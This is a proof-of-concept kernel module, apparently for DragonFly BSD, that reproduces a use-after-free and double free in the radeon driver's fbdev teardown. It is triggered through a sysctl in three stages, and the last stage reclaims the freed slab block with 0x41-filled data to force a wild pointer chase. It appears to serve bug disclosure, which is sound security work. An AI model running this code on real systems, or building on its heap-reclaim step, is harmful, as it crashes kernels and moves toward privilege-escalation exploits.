/*
 * DF-4914 PoC — radeon_fbdev_init() failure leaves rdev->mode_info.rfbdev
 * dangling; the standard teardown radeon_fbdev_fini() (radeon_modeset_fini,
 * driver unload / reboot / device unplug) then operates on freed memory and
 * double-kfrees it (radeon_fb.c:409-416).
 *
 * All teardown code driven below (radeon_fbdev_fini -> radeon_fbdev_destroy ->
 * drm_fb_helper_unregister_fbi / radeonfb_destroy_pinned_object /
 * drm_fb_helper_fini) is the REAL production code from the loaded radeon.ko
 * module (stock /boot/kernel/radeon.ko, no radeon GPU present or required).
 *
 * Trigger reality note: on real hardware radeon_fbdev_init() fails through
 * drm_fb_helper_init/-ENOMEM or through drm_fb_helper_initial_config ->
 * radeonfb_create() (e.g. VRAM exhaustion on small cards during fbcon setup)
 * and radeon_modeset_init() IGNORES the failure (radeon_display.c:1640), so
 * the driver carries the dangling pointer until teardown.  On the no-GPU QEMU
 * guest a graceful live failure cannot be produced (the allocators only fail
 * catastrophically: an oversized kcalloc wedges in M_WAITOK paging), so stage
 * 1 injects EXACTLY the state a failed radeon_fbdev_init leaves behind — the
 * three statements of radeon_fb.c:374-379 (kzalloc rfbdev, store to
 * rdev->mode_info.rfbdev, drm_fb_helper_prepare) followed by the free: label
 * (radeon_fb.c:405, kfree without clearing mode_info.rfbdev).
 *
 * Stages (write to sysctl hw.rfbuaf):
 *   1: inject failed-init state; print the dangling rdev->mode_info.rfbdev
 *      (non-NULL although the rfbdev was just kfree()d).  No crash.
 *   2: stage 1 + radeon_fbdev_fini() -> UAF walk of the freed rfbdev and a
 *      double kfree of it; expect kernel panic.
 *   3: stage 1 + reclaim the freed slab block with a 0x41-filled allocation
 *      + radeon_fbdev_fini() -> radeon_fbdev_destroy follows
 *      fb->obj[0] = 0x4141414141414141 into radeonfb_destroy_pinned_object
 *      -> UAF wild pointer chase; expect kernel panic.
 */
#include <sys/param.h>
#include <sys/kernel.h>
#include <sys/module.h>
#include <sys/systm.h>
#include <sys/malloc.h>
#include <sys/sysctl.h>
#include <sys/errno.h>

#include <drm/drmP.h>
#include <drm/drm_crtc.h>
#include <drm/drm_fb_helper.h>
#include "radeon.h"

/* radeon_fbdev_init/fini are declared in the radeon headers */

/* mirror of struct radeon_fbdev (radeon_fb.c:44-48) — helper is first */
struct poc_radeon_fbdev {
	struct drm_fb_helper helper;
	struct drm_framebuffer fb;
	struct radeon_device *rdev;
};

static struct radeon_device *fake_rdev;
static struct drm_device *fake_ddev;

static int poc_fb_probe(struct drm_fb_helper *helper,
			struct drm_fb_helper_surface_size *sizes)
{
	return -ENOMEM;
}

static const struct drm_fb_helper_funcs poc_fb_helper_funcs = {
	.fb_probe = poc_fb_probe,
};

static void
setup_fakes(void)
{
	if (fake_rdev)
		return;
	fake_ddev = kzalloc(sizeof(*fake_ddev), GFP_KERNEL);
	fake_rdev = kzalloc(sizeof(*fake_rdev), GFP_KERNEL);
	fake_rdev->ddev = fake_ddev;
	/* rdev->mode_info.rfbdev == NULL, rdev->family == 0, mc zeroed */
}

/*
 * Reproduce the exact post-failure state of radeon_fbdev_init()
 * (radeon_fb.c:357-406 error path):
 *   374: rfbdev = kzalloc(sizeof(struct radeon_fbdev), GFP_KERNEL);
 *   378: rfbdev->rdev = rdev;
 *   379: rdev->mode_info.rfbdev = rfbdev;      <-- stored BEFORE any failure
 *   381: drm_fb_helper_prepare(rdev->ddev, &rfbdev->helper, funcs);
 *   405: kfree(rfbdev);                        <-- free: label, NO NULL-clear
 */
static int
stage1(void)
{
	struct poc_radeon_fbdev *rfb;

	setup_fakes();
	fake_rdev->mode_info.rfbdev = NULL;	/* fresh run */

	rfb = kzalloc(sizeof(*rfb), GFP_KERNEL);			/* :374 */
	rfb->rdev = fake_rdev;						/* :378 */
	fake_rdev->mode_info.rfbdev = (struct radeon_fbdev *)rfb;	/* :379 */
	drm_fb_helper_prepare(fake_rdev->ddev, &rfb->helper,
	    &poc_fb_helper_funcs);					/* :381 */
	kfree(rfb);		/* :405 free: label — mode_info.rfbdev DANGLING */

	kprintf("DF-4914: injected failed-init state (radeon_fb.c:374-405):\n"
	    "  rdev->mode_info.rfbdev = %p — kfree()d block still recorded "
	    "(dangling)\n", fake_rdev->mode_info.rfbdev);
	return (fake_rdev->mode_info.rfbdev != NULL) ? 0 : -1;
}

static int
sysctl_run(SYSCTL_HANDLER_ARGS)
{
	int stage = 0, error;

	error = sysctl_handle_int(oidp, &stage, 0, req);
	if (error || req->newptr == NULL)
		return (error);

	switch (stage) {
	case 1:
		stage1();
		break;
	case 2:
		if (stage1() != 0) {
			kprintf("DF-4914: stage1 precondition failed\n");
			break;
		}
		kprintf("DF-4914: calling production radeon_fbdev_fini() "
		    "(radeon_modeset_fini teardown) on the dangling pointer"
		    "...\n");
		radeon_fbdev_fini(fake_rdev);	/* UAF walk + double kfree */
		kprintf("DF-4914: fini returned (no panic?)\n");
		break;
	case 3: {
		void *p = NULL;
		int i;

		if (stage1() != 0) {
			kprintf("DF-4914: stage1 precondition failed\n");
			break;
		}
		for (i = 0; i < 64; i++) {
			p = kzalloc(sizeof(struct poc_radeon_fbdev), GFP_KERNEL);
			if (p == (void *)fake_rdev->mode_info.rfbdev)
				break;
		}
		kprintf("DF-4914: reclaim attempt: %p (dangling %p, %s)\n",
		    p, fake_rdev->mode_info.rfbdev,
		    p == (void *)fake_rdev->mode_info.rfbdev ?
		    "RECLAIMED" : "miss");
		if (p != (void *)fake_rdev->mode_info.rfbdev)
			break;
		memset(p, 0x41, sizeof(struct poc_radeon_fbdev));
		((struct poc_radeon_fbdev *)p)->helper.fbdev = NULL;
		kprintf("DF-4914: reclaimed block 0x41-filled "
		    "(fb.obj[0]=0x4141414141414141); production fini -> "
		    "radeonfb_destroy_pinned_object wild chase\n");
		radeon_fbdev_fini(fake_rdev);	/* UAF wild pointer chase */
		kprintf("DF-4914: fini returned (no panic?)\n");
		break;
	}
	default:
		kprintf("DF-4914: unknown stage %d (1=dangling, 2=double-free,"
		    " 3=reclaim+UAF)\n", stage);
		break;
	}
	return (0);
}

static int
rfbuaf_modevent(module_t mod, int type, void *data)
{
	switch (type) {
	case MOD_LOAD:
		SYSCTL_ADD_OID(NULL, SYSCTL_STATIC_CHILDREN(_hw), OID_AUTO,
		    "rfbuaf", CTLTYPE_INT|CTLFLAG_RW, NULL, 0, sysctl_run,
		    "I", "DF-4914 stage trigger (1/2/3)");
		kprintf("DF-4914 PoC loaded; sysctl hw.rfbuaf=1|2|3\n");
		return 0;
	case MOD_UNLOAD:
		return 0;
	}
	return 0;
}

static moduledata_t rfbuaf_mod = {
	"rfbuaf",
	rfbuaf_modevent,
	NULL
};
DECLARE_MODULE(rfbuaf, rfbuaf_mod, SI_SUB_DRIVERS, SI_ORDER_ANY);
MODULE_VERSION(rfbuaf, 1);
